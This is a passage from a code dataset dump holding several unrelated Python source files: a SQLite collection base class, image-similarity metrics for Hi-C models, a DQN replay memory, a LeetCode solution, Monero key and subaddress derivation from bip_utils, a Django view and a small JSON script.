T]] = None,\n persist: bool = True,\n rebuild_strategy: RebuildStrategy = RebuildStrategy.CHECK_WITH_FIRST_ELEMENT,\n do_initialize: bool = True,\n ):\n super(SqliteCollectionBase, self).__init__()\n self._serializer = cast(Callable[[T], bytes], dumps) if serializer is None else serializer\n self._deserializer = cast(Callable[[bytes], T], loads) if deserializer is None else deserializer\n self._persist = persist\n self._rebuild_strategy = rebuild_strategy\n if connection is None:\n self._connection = sqlite3.connect(NamedTemporaryFile().name)\n elif isinstance(connection, str):\n self._connection = sqlite3.connect(connection)\n elif isinstance(connection, sqlite3.Connection):\n self._connection = connection\n else:\n raise TypeError(\n f\"connection argument must be None or a string or a sqlite3.Connection, not '{type(connection)}'\"\n )\n self._table_name = (\n f\"{self.container_type_name}_{str(uuid4()).replace('-', '')}\" if table_name is None else table_name\n )\n if do_initialize:\n self._initialize(commit=True)\n\n def __del__(self) -> None:\n if not self.persist:\n cur = self.connection.cursor()\n cur.execute(\n \"DELETE FROM metadata WHERE table_name=? AND container_type=?\",\n (self.table_name, self.container_type_name),\n )\n cur.execute(f\"DROP TABLE {self.table_name}\")\n self.connection.commit()\n\n def _initialize(self, commit: bool = False) -> None:\n self._initialize_metadata_table(commit=commit)\n self._initialize_table(commit=commit)\n if self._should_rebuild():\n self._do_rebuild(commit=commit)\n\n def _should_rebuild(self) -> bool:\n if self.rebuild_strategy == RebuildStrategy.ALWAYS:\n return True\n if self.rebuild_strategy == RebuildStrategy.SKIP:\n return False\n return self._rebuild_check_with_first_element()\n\n @abstractmethod\n def _rebuild_check_with_first_element(self) -> bool:\n ...\n\n @abstractmethod\n def _do_rebuild(self, commit: bool = False) -> None:\n ...\n\n @property\n def rebuild_strategy(self) -> RebuildStrategy:\n return self._rebuild_strategy\n\n @property\n def persist(self) -> bool:\n return self._persist\n\n @property\n def serializer(self) -> Callable[[T], bytes]:\n return self._serializer\n\n def serialize(self, x: T) -> bytes:\n return self.serializer(x)\n\n @property\n def deserializer(self) -> Callable[[bytes], T]:\n return self._deserializer\n\n def deserialize(self, blob: bytes) -> T:\n return self.deserializer(blob)\n\n @property\n def table_name(self) -> str:\n return \"\".join(c for c in self._table_name if c.isalnum() or c == \"_\")\n\n @property\n def connection(self) -> sqlite3.Connection:\n return self._connection\n\n @property\n def container_type_name(self) -> str:\n return self.__class__.__name__\n\n @property\n @abstractmethod\n def schema_version(self) -> str:\n ...\n\n def _is_table_initialized(self) -> bool:\n try:\n cur = self._connection.cursor()\n cur.execute(\n \"SELECT schema_version FROM metadata WHERE table_name=? AND container_type=?\",\n (self.table_name, self.container_type_name),\n )\n buf = cur.fetchone()\n if buf is None:\n return False\n version = buf[0]\n if version != self.schema_version:\n return False\n cur.execute(f\"SELECT 1 FROM {self.table_name}\")\n return True\n except sqlite3.OperationalError as _:\n pass\n return False\n\n def _do_tidy_table_metadata(self, commit: bool = False) -> None:\n cur = self.connection.cursor()\n cur.execute(\n \"INSERT INTO metadata (table_name, schema_version, container_type) VALUES (?, ?, ?)\",\n (self.table_name, self.schema_version, self.container_type_name),\n )\n if commit:\n self.connection.commit()\n\n def _initialize_table(self, commit: bool = False) -> None:\n if not self._is_table_initialized():\n self._do_create_table()\n self._do_tidy_table_metadata()\n if commit:\n self.connection.commit()\n\n @abstractmethod\n def _do_create_table(self, commit: bool = False) -> None:\n ...\n\n def _is_metadata_table_initialized(self) -> bool:\n try:\n cur = self.connection.cursor()\n cur.execute(\"SELECT 1 FROM metadata\")\n return True\n except sqlite3.OperationalError as _:\n pass\n return False\n\n def _do_initialize_metadata_table(self, commit: bool = False) -> None:\n cur = self.connection.cursor()\n cur.execute(\n \"\"\"\n CREATE TABLE metadata (\n table_name TEXT PRIMARY KEY,\n schema_version TEXT NOT NULL,\n container_type TEXT NOT NULL,\n UNIQUE (table_name, container_type)\n )\n \"\"\"\n )\n if commit:\n self.connection.commit()\n\n def _initialize_metadata_table(self, commit: bool = False) -> None:\n if not self._is_metadata_table_initialized():\n self._do_initialize_metadata_table(commit)\n","sub_path":"sqlitecollections/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":6234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"363055493","text":"#the implementation of SSIM in this file is pulled from DeepHiC https://github.com/omegahh/DeepHiC\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom math import exp\nimport numpy as np\nfrom Models.VEHiCLE_Module import GAN_Model\nfrom scipy.stats import pearsonr\nfrom scipy.stats import spearmanr\nimport argparse\nimport sys\nsys.path.append(\".\")\nsys.path.append(\"../\")\nimport numpy as np\nfrom sklearn.decomposition import PCA\nimport glob\nimport yaml\nimport matplotlib.pyplot as plt\nimport torch\nimport pdb\nfrom pytorch_lightning import Trainer\nfrom Data.GM12878_DataModule import GM12878Module\nfrom Data.K562_DataModule import K562Module\n\nclass SSIM(nn.Module):\n def __init__(self, window_size=11, size_average=True):\n super(SSIM, self).__init__()\n self.window_size = window_size\n self.size_average = size_average\n self.channel = 1\n self.window = self.create_window(window_size, self.channel)\n\n def _toimg(self, mat):\n m = torch.tensor(mat)\n # convert to float and add channel dimension\n return m.float().unsqueeze(0)\n\n def _tohic(self, mat):\n mat.squeeze_()\n return mat.numpy()#.astype(int)\n\n def gaussian(self, width, sigma):\n gauss = torch.Tensor([exp(-(x-width//2)**2 / float(2 * sigma**2)) for x in range(width)])\n return gauss / gauss.sum()\n\n def create_window(self, window_size, channel, sigma=3):\n _1D_window = self.gaussian(window_size, sigma).unsqueeze(1)\n _2D_window = _1D_window.mm(_1D_window.t()).float().unsqueeze(0).unsqueeze(0)\n window = _2D_window.expand(channel, 1, window_size, window_size).contiguous()\n return window\n\n def gaussian_filter(self, img, width, sigma=3):\n img = _toimg(img).unsqueeze(0)\n _, channel, _, _ = img.size()\n window = self.create_window(width, channel, sigma)\n mu1 = F.conv2d(img, window, padding=width // 2, groups=channel)\n return _tohic(mu1)\n\n def _ssim(self, img1, img2, window, window_size, channel, size_average=True):\n mu1 = F.conv2d(img1, window, padding=window_size // 2, groups=channel)\n mu2 = F.conv2d(img2, window, padding=window_size // 2, groups=channel)\n\n mu1_sq = mu1.pow(2)\n mu2_sq = mu2.pow(2)\n mu1_mu2 = mu1 * mu2\n\n sigma1_sq = F.conv2d(img1 * img1, window, padding=window_size // 2, groups=channel) - mu1_sq\n sigma2_sq = F.conv2d(img2 * img2, window, padding=window_size // 2, groups=channel) - mu2_sq\n sigma12 = F.conv2d(img1 * img2, window, padding=window_size // 2, groups=channel) - mu1_mu2\n\n C1 = 0.01 ** 2\n C2 = 0.03 ** 2\n\n ssim_map = ((2 * mu1_mu2 + C1) * (2 * sigma12 + C2)) / ((mu1_sq + mu2_sq + C1) * (sigma1_sq + sigma2_sq + C2))\n\n if size_average:\n return ssim_map.mean()\n else:\n return ssim_map.mean(1).mean(1).mean(1)\n\n\n def ssim(self, img1, img2, window_size=11, size_average=True):\n img1 = _toimg(img1).unsqueeze(0)\n img2 = _toimg(img2).unsqueeze(0)\n _, channel, _, _ = img1.size()\n window = self.create_window(window_size, channel)\n window = window.type_as(img1)\n\n return self._ssim(img1, img2, window, window_size, channel, size_average)\n\n\n\n def forward(self, img1, img2):\n (_, channel, _, _) = img1.size()\n\n if channel == self.channel and self.window.data.type() == img1.data.type():\n window = self.window\n else:\n window = self.create_window(self.window_size, channel)\n\n if img1.is_cuda:\n window = window.cuda(img1.get_device())\n window = window.type_as(img1)\n\n self.window = window\n self.channel = channel\n\n return self._ssim(img1, img2, window, self.window_size, channel, self.size_average)\n\n\n\nclass VisionMetrics:\n def __init__(self):\n self.ssim = SSIM()\n self.metric_logs = {\n \"pre_pcc\":[],\n \"pas_pcc\":[],\n \"pre_spc\":[],\n \"pas_spc\":[],\n \"pre_psnr\":[],\n \"pas_psnr\":[],\n \"pre_ssim\":[],\n \"pas_ssim\":[],\n \"pre_mse\":[],\n \"pas_mse\":[],\n \"pre_snr\":[],\n \"pas_snr\":[]\n }\n\n\n def _logSSIM(self, data, target, output):\n self.metric_logs['pre_ssim'].append(self.compareSSIM(data, target))\n self.metric_logs['pas_ssim'].append(self.compareSSIM(output, target))\n\n def _logPSNR(self, data, target, output):\n self.metric_logs['pre_psnr'].append(self.comparePSNR(data, target))\n self.metric_logs['pas_psnr'].append(self.comparePSNR(output, target))\n\n def _logPCC(self, data, target, output):\n self.metric_logs['pre_pcc'].append(self.comparePCC(data, target))\n self.metric_logs['pas_pcc'].append(self.comparePCC(output, target))\n\n def _logSPC(self, data, target, output):\n self.metric_logs['pre_spc'].append(self.compareSPC(data, target))\n self.metric_logs['pas_spc'].append(self.compareSPC(output, target))\n\n def _logMSE(self, data, target, output):\n self.metric_logs['pre_mse'].append(self.compareMSE(data, target))\n self.metric_logs['pas_mse'].append(self.compareMSE(output, target))\n\n def _logSNR(self, data, target, output):\n self.metric_logs['pre_snr'].append(self.compareSNR(data, target))\n self.metric_logs['pas_snr'].append(self.compareSNR(output, target))\n\n def compareSPC(self, a, b):\n return spearmanr(a[0][0], b[0][0], axis=None)[0]\n\n def comparePCC(self, a, b):\n return pearsonr(a[0][0].flatten(), b[0][0].flatten())[0]\n\n def comparePSNR(self, a, b):\n MSE = np.square(a[0][0]-b[0][0]).mean().item()\n MAX = torch.max(b).item()\n return 20*np.log10(MAX) - 10*np.log10(MSE)\n\n def compareSNR(self, a, b):\n return torch.sum(b[0][0]).item()/torch.sqrt(torch.sum((b[0][0]-a[0][0])**2)).item()\n\n def compareSSIM(self, a, b):\n return self.ssim(a, b).item()\n\n def compareMSE(self, a, b):\n return np.square(a[0][0]-b[0][0]).mean().item()\n\n def log_means(self, name):\n return (name, np.mean(self.metric_logs[name]))\n\n def setDataset(self, chro, res=10000, piece_size=269, cell_line=\"GM12878\"):\n if cell_line == \"GM12878\":\n self.dm_test = GM12878Module(batch_size=1, res=res, piece_size=piece_size)\n if cell_line == \"K562\":\n self.dm_test = K562Module(batch_size=1, res=res, piece_size=piece_size)\n self.dm_test.prepare_data()\n self.dm_test.setup(stage=chro)\n\n def getMetrics(self, model, spliter):\n self.metric_logs = {\n \"pre_pcc\":[],\n \"pas_pcc\":[],\n \"pre_spc\":[],\n \"pas_spc\":[],\n \"pre_psnr\":[],\n \"pas_psnr\":[],\n \"pre_ssim\":[],\n \"pas_ssim\":[],\n \"pre_mse\":[],\n \"pas_mse\":[],\n \"pre_snr\":[],\n \"pas_snr\":[]\n }\n\n for e, epoch in enumerate(self.dm_test.test_dataloader()):\n print(str(e)+\"/\"+str(self.dm_test.test_dataloader().dataset.data.shape[0]))\n data, full_target, info = epoch\n target = full_target[:,:,6:-6,6:-6]\n filter_data = data[:,:,6:-6,6:-6]\n if spliter == \"vehicle\" or spliter == \"large\": #no need to seperate pieces\n output = model(data).detach()\n\n if spliter == \"hicplus\" or spliter == \"hicsr\": #separater into 40x40 windows\n output = torch.zeros((1,1,269,269))\n for i in range(0, 269-40, 28):\n for j in range(0,269-40,28):\n temp = data[:,:,i:i+40, j:j+40]\n output[:,:,i+6:i+34, j+6:j+34] = model(temp)\n output = output[:,:,6:-6,6:-6].detach()\n \n if spliter == \"deephic\" or spliter=='vae':\n output = torch.zeros((1,1,269,269))\n for i in range(0, 269-40, 28):\n for j in range(0,269-40,28):\n temp = data[:,:,i:i+40, j:j+40]\n output[:,:,i+6:i+34, j+6:j+34] = model(temp)[:,:,6:-6,6:-6]\n output = output[:,:,6:-6,6:-6].detach()\n\n if spliter == \"large_deephic\":\n output = model(data).detach()[:,:,6:-6,6:-6]\n\n\n self._logPCC(data=filter_data, target=target, output=output)\n self._logSPC(data=filter_data, target=target, output=output)\n self._logMSE(data=filter_data, target=target, output=output)\n self._logPSNR(data=filter_data, target=target, output=output)\n self._logSNR(data=filter_data, target=target, output=output)\n self._logSSIM(data=filter_data, target=target, output=output)\n print(list(map(self.log_means, self.metric_logs.keys())))\n return self.metric_logs\n\nif __name__=='__main__':\n visionMetrics = VisionMetrics()\n visionMetrics.setDataset(20, cell_line=\"K562\")\n WEIGHT_PATH = \"deepchromap_weights.ckpt\"\n model = GAN_Model()\n pretrained_model = model.load_from_checkpoint(WEIGHT_PATH)\n pretrained_model.freeze()\n visionMetrics.getMetrics(model=pretrained_model, spliter=False)\n","sub_path":"Utils/vision_metrics.py","file_name":"vision_metrics.py","file_ext":"py","file_size_in_byte":9328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"85043590","text":"import random\nfrom collections import deque\nimport math\nfrom operator import itemgetter\nimport numpy as np\n\n\nclass Memory:\n '''\n Memory storage of observed states. This includes basic functionality\n to retrieve a sample from memory in a random fashion, as well as more\n advanced memory prioritisation techniques such as memory prioritisation.\n\n '''\n\n def __init__( self, hyper_params):\n self.hp = hyper_params\n\n self.memory_sort_interval=2000\n\n # when beta in mem prior should be at minimal value\n self.mem_prior_beta_anneal_max=200000\n\n self.memory = deque( )\n\n if self.hp.USE_MEM_PRIOR:\n self._init_rank_distributions( )\n\n def store( self, td_error, last_action, reward, st_0, st_1, term_state ):\n # store the transition in memory\n self.memory.append( [ td_error, st_0, last_action, reward, st_1, term_state ] )\n\n if len( self.memory ) > self.hp.MEM_SIZE:\n self.memory.popleft( )\n\n def get_sample( self, step ):\n if self.hp.USE_MEM_PRIOR:\n if step % self.memory_sort_interval == 0:\n self._sort_memory( )\n mini_batch, mini_batch_idx, wIs = self._get_rank_prioritisation_sample( step )\n else:\n wIs = None\n mini_batch, mini_batch_idx = self._get_random_sample( )\n return mini_batch, mini_batch_idx, wIs\n\n def update_td_errors( self, mini_batch_idx, td_error_batch, td_error_idx ):\n if self.hp.USE_MEM_PRIOR:\n # RANK BASED\n for cc in range( self.hp.BATCH_SIZE ):\n self.memory[ mini_batch_idx[ cc ] ][ td_error_idx ] = math.fabs( td_error_batch[ cc ] )\n\n def _init_rank_distributions( self ):\n # Cache partition indices for several values of N as alpha is static\n self.alpha = 0.7\n self.beta_zero = 0.5\n self.num_partitions = 100 # must be at least 1/100 of memory size\n self.partition_division = int( np.floor( float( self.hp.MEM_SIZE ) / self.num_partitions ) )\n self.distribution_list = [ ]\n\n for n in range( self.partition_division, self.hp.MEM_SIZE + self.partition_division, self.partition_division ):\n # Create power law PDF\n distribution_pdf = np.power( np.linspace( 1, n, n ), -self.alpha )\n pdf_sum = np.sum( distribution_pdf )\n distribution_pdf /= pdf_sum # Normalise PDF, so probability is 1.0\n # Create CDF\n cdf = np.cumsum( distribution_pdf )\n\n # Set up strata for stratified sampling (transitions will have varying TD-error magnitudes delta)\n distribution_strata_ends = np.zeros( self.hp.BATCH_SIZE + 1 )\n distribution_strata_ends[ 0 ] = 0 # First index is 0 (+1)\n distribution_strata_ends[ self.hp.BATCH_SIZE ] = n - 1 # Last index is n\n\n # Use linear search to find strata indices\n stratum_end = 1.0 / self.hp.BATCH_SIZE\n index = 0\n for s in range( 1, self.hp.BATCH_SIZE ):\n index += 1\n while cdf[ index ] < stratum_end:\n index += 1\n distribution_strata_ends[ s ] = index # Save index\n stratum_end += 1.0 / self.hp.BATCH_SIZE # Set condition for next stratum\n\n # Store distribution\n self.distribution_list.append( (distribution_pdf, distribution_strata_ends) )\n\n # Calculate beta growth factor (linearly annealed till end of training)\n self.beta_grad = (1.0 - self.beta_zero) / (self.mem_prior_beta_anneal_max - self.hp.OBSERVE)\n\n\n def _sort_memory( self ):\n # print \"SORTING\"\n # tic = time.time( )\n self.memory = deque( sorted( self.memory, key=itemgetter( 0 ), reverse=False ) )\n # print \"sort toc = \", time.time( ) - tic\n\n\n def _get_rank_prioritisation_sample( self, step ):\n # From Schaul et al. 2016\n\n curr_mem_length = self.memory.__len__( )\n # Find closest precomputed distribution by size\n distribution_idx = int( np.floor( float( curr_mem_length ) / self.hp.MEM_SIZE * self.num_partitions ) )\n distribution_idx = min( distribution_idx, self.distribution_list.__len__( ) )\n (distribution_pdf, distribution_strata_ends) = self.distribution_list[ distribution_idx - 1 ]\n N = distribution_idx * self.partition_division\n\n # Create table to store indices (by rank)\n # In reality the underlying array-based binary heap\n # is used as an approximation of a ranked (sorted) array\n rank_indices = [ ]\n indices = [ ]\n\n # Perform stratified sampling\n for n in range( self.hp.BATCH_SIZE ):\n x1 = distribution_strata_ends[ n ]\n x2 = distribution_strata_ends[ n + 1 ]\n # print \"x1=\",x1\n # print \"x2=\",x2\n rank_indices.append( random.sample( range( int( x1 ), int( x2 ) ), 1 )[ 0 ] )\n # print \"rankIndices = \",rankIndices[n]\n indices.append( curr_mem_length - rank_indices[ n ] - 1 )\n\n # update beta\n beta = min( self.beta_zero + (step - self.hp.OBSERVE) * self.beta_grad, 1 )\n\n # Compute importance-sampling weights w = (N * p(rank))^-beta\n w = np.power( distribution_pdf[ rank_indices ] * N, -beta )\n\n # Find max importance-sampling weight for normalisation\n w_max = np.max( w )\n\n # Normalise weights so updates only scale downwards (for stability)\n w /= w_max # Max weight will be 1\n\n # todo, don't know what to do with w yet\n # - i think the idea is to multiply the TD_error by this term at some point\n\n mini_batch = [ ]\n mini_batch_idx = [ ]\n for cc in range( self.hp.BATCH_SIZE ):\n mini_batch_idx.append( indices[ cc ] )\n mini_batch.append( self.memory[ indices[ cc ] ] )\n\n return mini_batch, mini_batch_idx, w\n\n\n\n def _get_random_sample( self ):\n mini_batch_idx = random.sample( range( min( self.hp.MEM_SIZE, self.memory.__len__( ) ) ), self.hp.BATCH_SIZE )\n mini_batch = [ self.memory[ idx ] for idx in mini_batch_idx ]\n return mini_batch, mini_batch_idx\n","sub_path":"ReinforcementLearning/DQN/Learners/Memory.py","file_name":"Memory.py","file_ext":"py","file_size_in_byte":6204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"620374090","text":"# https://www.leetfree.com/problems/meeting-rooms-ii.html#\nimport heapq\n\n\nclass Interval:\n def __init__(self, start, end):\n self.start, self.end = start, end\n\n\ndef min_meeting_rooms(intervals):\n if not intervals:\n return 0\n\n intervals.sort(key=lambda interval: interval.start)\n\n min_heap = [intervals[0].end]\n for interval in intervals[1:]:\n if interval.start >= min_heap[0]:\n heapq.heappushpop(min_heap, interval.end)\n else:\n heapq.heappush(min_heap, interval.end)\n\n return len(min_heap)\n\n\nif __name__ == '__main__':\n intervals = [Interval(0, 30), Interval(5, 10), Interval(15, 20), Interval(20, 30)]\n print(min_meeting_rooms(intervals))\n","sub_path":"Problems/leetcode/Meeting_Rooms_II_253.py","file_name":"Meeting_Rooms_II_253.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"190810625","text":"# Copyright (c) 2021 Emanuele Bellocchia\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n\n# Imports\nfrom __future__ import annotations\nfrom functools import lru_cache\nfrom typing import Optional, Union\nfrom bip_utils.addr import XmrAddr\nfrom bip_utils.ecc import Ed25519Monero, Ed25519MoneroPrivateKey, IPrivateKey, IPublicKey\nfrom bip_utils.monero.monero_ex import MoneroKeyError\nfrom bip_utils.monero.monero_keys import MoneroPrivateKey, MoneroPublicKey\nfrom bip_utils.utils import ConvUtils, CryptoUtils\n\n\nclass MoneroConst:\n \"\"\" Class container for Monero keys constants. \"\"\"\n\n # Address main net version\n ADDR_MAIN_NET_VER: bytes = b\"\\x12\"\n # Address checksum length in bytes\n ADDR_CHECKSUM_BYTE_LEN: int = 4\n\n # Subaddress main net version\n SUBADDR_MAIN_NET_VER: bytes = b\"\\x2a\"\n # Subaddress prefix\n SUBADDR_PREFIX: bytes = b\"SubAddr\\x00\"\n # Subaddress maximum index\n SUBADDR_MAX_IDX: int = 2**32 - 1\n # Subaddress index length in byte\n SUBADDR_IDX_BYTE_LEN: int = 4\n\n\nclass MoneroUtils:\n \"\"\" Class container for Monero utility functions. \"\"\"\n\n @staticmethod\n def ScReduce(data_bytes: bytes) -> bytes:\n \"\"\" Convert the specified bytes to integer and return its lowest 32-bytes modulo ed25519-order.\n This ensures that the result is a valid ed25519 scalar to be used as Monero private key.\n\n Args:\n data_bytes (bytes): Data bytes\n\n Returns:\n bytes: Lowest 32-bytes modulo ed25519-order\n \"\"\"\n data_int = ConvUtils.BytesToInteger(data_bytes, endianness=\"little\")\n return ConvUtils.IntegerToBytes(data_int % Ed25519Monero.Order(), bytes_num=32, endianness=\"little\")\n\n\nclass Monero:\n \"\"\" Monero class. It allows to compute Monero keys and addresses/subaddresses. \"\"\"\n\n @classmethod\n def FromSeed(cls,\n seed_bytes: bytes) -> Monero:\n \"\"\" Create from seed bytes.\n\n Args:\n seed_bytes (bytes): Seed bytes\n\n Returns:\n Monero object: Monero object\n \"\"\"\n priv_skey_bytes = (seed_bytes\n if len(seed_bytes) == Ed25519MoneroPrivateKey.Length()\n else CryptoUtils.Kekkak256(seed_bytes))\n return cls.FromPrivateSpendKey(MoneroUtils.ScReduce(priv_skey_bytes))\n\n @classmethod\n def FromBip44PrivateKey(cls,\n priv_key: Union[bytes, IPrivateKey]) -> Monero:\n \"\"\" Create from Bip44 private key bytes.\n\n Args:\n priv_key (bytes or IPrivateKey): Private key\n\n Returns:\n Monero object: Monero object\n \"\"\"\n if not isinstance(priv_key, bytes):\n priv_key = priv_key.Raw().ToBytes()\n return cls.FromPrivateSpendKey(MoneroUtils.ScReduce(CryptoUtils.Kekkak256(priv_key)))\n\n @classmethod\n def FromPrivateSpendKey(cls,\n priv_skey: Union[bytes, IPrivateKey]) -> Monero:\n \"\"\" Create from private spend key.\n\n Args:\n priv_skey (bytes or IPrivateKey): Private spend key\n\n Returns:\n Monero object: Monero object\n\n Raises:\n MoneroKeyError: If the key constructed from the bytes is not valid\n \"\"\"\n return cls(priv_key=priv_skey)\n\n @classmethod\n def FromWatchOnly(cls,\n priv_vkey: Union[bytes, IPrivateKey],\n pub_skey: Union[bytes, IPublicKey]) -> Monero:\n \"\"\" Create from private view key and public spend key (i.e. watch-only wallet).\n\n Args:\n priv_vkey (bytes or IPrivateKey): Private view key\n pub_skey (bytes or IPublicKey) : Public spend key\n\n Returns:\n Monero object: Monero object\n\n Raises:\n MoneroKeyError: If the key constructed from the bytes is not valid\n \"\"\"\n return cls(priv_key=priv_vkey,\n pub_key=pub_skey)\n\n def __init__(self,\n priv_key: Union[bytes, IPrivateKey],\n pub_key: Optional[Union[bytes, IPublicKey]] = None) -> None:\n \"\"\" Construct class.\n\n Args:\n priv_key (bytes or IPrivateKey): Private key (view key if watch-only wallet, otherwise spend key)\n pub_key (bytes or IPublicKey) : Public key (spend key, only needed for watch-only wallets, otherwise None)\n\n Returns:\n Monero object: Monero object\n\n Raises:\n MoneroKeyError: If the key constructed from the bytes is not valid\n \"\"\"\n\n # Private key object\n if pub_key is None:\n self.m_priv_skey = MoneroPrivateKey.FromBytesOrKeyObject(priv_key)\n self.m_priv_vkey = self.__ViewFromSpendKey(self.m_priv_skey)\n self.m_pub_skey = self.m_priv_skey.PublicKey()\n self.m_pub_vkey = self.m_priv_vkey.PublicKey()\n # Watch-only object\n else:\n self.m_priv_skey = None\n self.m_priv_vkey = MoneroPrivateKey.FromBytesOrKeyObject(priv_key)\n self.m_pub_skey = MoneroPublicKey.FromBytesOrKeyObject(pub_key)\n self.m_pub_vkey = self.m_priv_vkey.PublicKey()\n\n def IsWatchOnly(self) -> bool:\n \"\"\" Return if it's a watch-only object.\n\n Returns:\n bool: True if watch-only, false otherwise\n \"\"\"\n return self.m_priv_skey is None\n\n def PrivateSpendKey(self) -> MoneroPrivateKey:\n \"\"\" Return the private spend key.\n\n Returns:\n MoneroPrivateKey object: MoneroPrivateKey object\n\n Raises:\n MoneroKeyError: If the class is watch-only\n \"\"\"\n if self.IsWatchOnly():\n raise MoneroKeyError(\"Watch-only class has not a private spend key\")\n return self.m_priv_skey\n\n def PrivateViewKey(self) -> MoneroPrivateKey:\n \"\"\" Return the private view key.\n\n Returns:\n MoneroPrivateKey object: MoneroPrivateKey object\n \"\"\"\n return self.m_priv_vkey\n\n def PublicSpendKey(self) -> MoneroPublicKey:\n \"\"\" Return the public spend key.\n\n Returns:\n MoneroPublicKey object: MoneroPublicKey object\n \"\"\"\n return self.m_pub_skey\n\n def PublicViewKey(self) -> MoneroPublicKey:\n \"\"\" Return the public view key.\n\n Returns:\n MoneroPublicKey object: MoneroPublicKey object\n \"\"\"\n return self.m_pub_vkey\n\n @lru_cache()\n def PrimaryAddress(self) -> str:\n \"\"\" Return the primary address.\n\n Returns:\n str: Primary address string\n \"\"\"\n return XmrAddr.EncodeKey(self.m_pub_skey.KeyObject(),\n self.m_pub_vkey.KeyObject(),\n MoneroConst.ADDR_MAIN_NET_VER)\n\n @lru_cache()\n def SubAddress(self,\n minor_idx: int,\n major_idx: int = 0) -> str:\n \"\"\" Return the specified subaddress.\n\n Args:\n minor_idx (int) : Minor index\n major_idx (int, optional): Major index (i.e. account index)\n\n Returns:\n str: Subaddress string\n\n Raises:\n ValueError: If one of the indexes is not valid\n \"\"\"\n if minor_idx < 0 or minor_idx > MoneroConst.SUBADDR_MAX_IDX:\n raise ValueError(\"Invalid minor index (%d)\" % minor_idx)\n if major_idx < 0 or major_idx > MoneroConst.SUBADDR_MAX_IDX:\n raise ValueError(\"Invalid major index (%d)\" % major_idx)\n\n return self.__ComputeSubAddress(minor_idx, major_idx)\n\n def __ComputeSubAddress(self,\n minor_idx: int,\n major_idx: int) -> str:\n \"\"\" Compute subaddress.\n\n Args:\n minor_idx (int): Minor index\n major_idx (int): Major index (i.e. account index)\n\n Returns:\n str: Subaddress string\n\n Raises:\n ValueError: If one of the indexes is not valid\n \"\"\"\n\n # Subaddress 0,0 is the primary address\n if minor_idx == 0 and major_idx == 0:\n return self.PrimaryAddress()\n\n # Convert indexes to bytes\n major_idx_bytes = ConvUtils.IntegerToBytes(major_idx, bytes_num=MoneroConst.SUBADDR_IDX_BYTE_LEN, endianness=\"little\")\n minor_idx_bytes = ConvUtils.IntegerToBytes(minor_idx, bytes_num=MoneroConst.SUBADDR_IDX_BYTE_LEN, endianness=\"little\")\n\n # m = Kekkak256(\"SubAddr\" + master_priv_vkey + major_idx + minor_idx)\n m = CryptoUtils.Kekkak256(MoneroConst.SUBADDR_PREFIX + self.m_priv_vkey.Raw().ToBytes() + major_idx_bytes + minor_idx_bytes)\n m_int = ConvUtils.BytesToInteger(m, endianness=\"little\")\n\n # Compute subaddress public spend key\n # D = master_pub_skey + m * B\n subaddr_pub_skey = self.m_pub_skey.KeyObject().Point() + (Ed25519Monero.Generator() * m_int)\n\n # Compute subaddress public view key\n # C = master_priv_vkey * D\n subaddr_pub_vkey = subaddr_pub_skey * self.m_priv_vkey.Raw().ToInt(\"little\")\n\n # Encode subaddress\n return XmrAddr.EncodeKey(subaddr_pub_skey.Raw().ToBytes(),\n subaddr_pub_vkey.Raw().ToBytes(),\n MoneroConst.SUBADDR_MAIN_NET_VER)\n\n @staticmethod\n def __ViewFromSpendKey(priv_skey: MoneroPrivateKey) -> MoneroPrivateKey:\n \"\"\" Get the private view key from the private spend key.\n\n Args:\n priv_skey (MoneroPrivateKey object): Private spend key\n\n Returns:\n MoneroPrivateKey object: Private view key\n \"\"\"\n priv_vkey_bytes = MoneroUtils.ScReduce(CryptoUtils.Kekkak256(priv_skey.Raw().ToBytes()))\n return MoneroPrivateKey.FromBytes(priv_vkey_bytes)\n","sub_path":"bip_utils/monero/monero.py","file_name":"monero.py","file_ext":"py","file_size_in_byte":10716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"335274378","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom django.shortcuts import render\n\ndef index(request):\n\tcontext = {\n\t\t'info':\"百度\"\n\t}\n\treturn render(request,'index.html',context=context)\n\n\n","sub_path":"TryDjangoTest/chapter03/template_autoescape_demo/template_autoescape_demo/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"428667525","text":"import json\n\ndef main():\n mydict = {\n 'name': '骆昊 ',\n 'qq': 34654,\n 'age': 38,\n 'friends': [\n {'brand': 'Auto', 'max_speed': 123},\n {'brand': 'QQ', 'max_speed': 100},\n {'brand': 'Benz', 'max_speed': 90}\n ]\n }\n try:\n with open('date.json', 'r', encoding='utf-8') as fs:\n json.load(fs)\n\n except IOError as e:\n print(e)\n\n\nif __name__ == '__main__':\n main()","sub_path":"day15/text/file6.py","file_name":"file6.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} 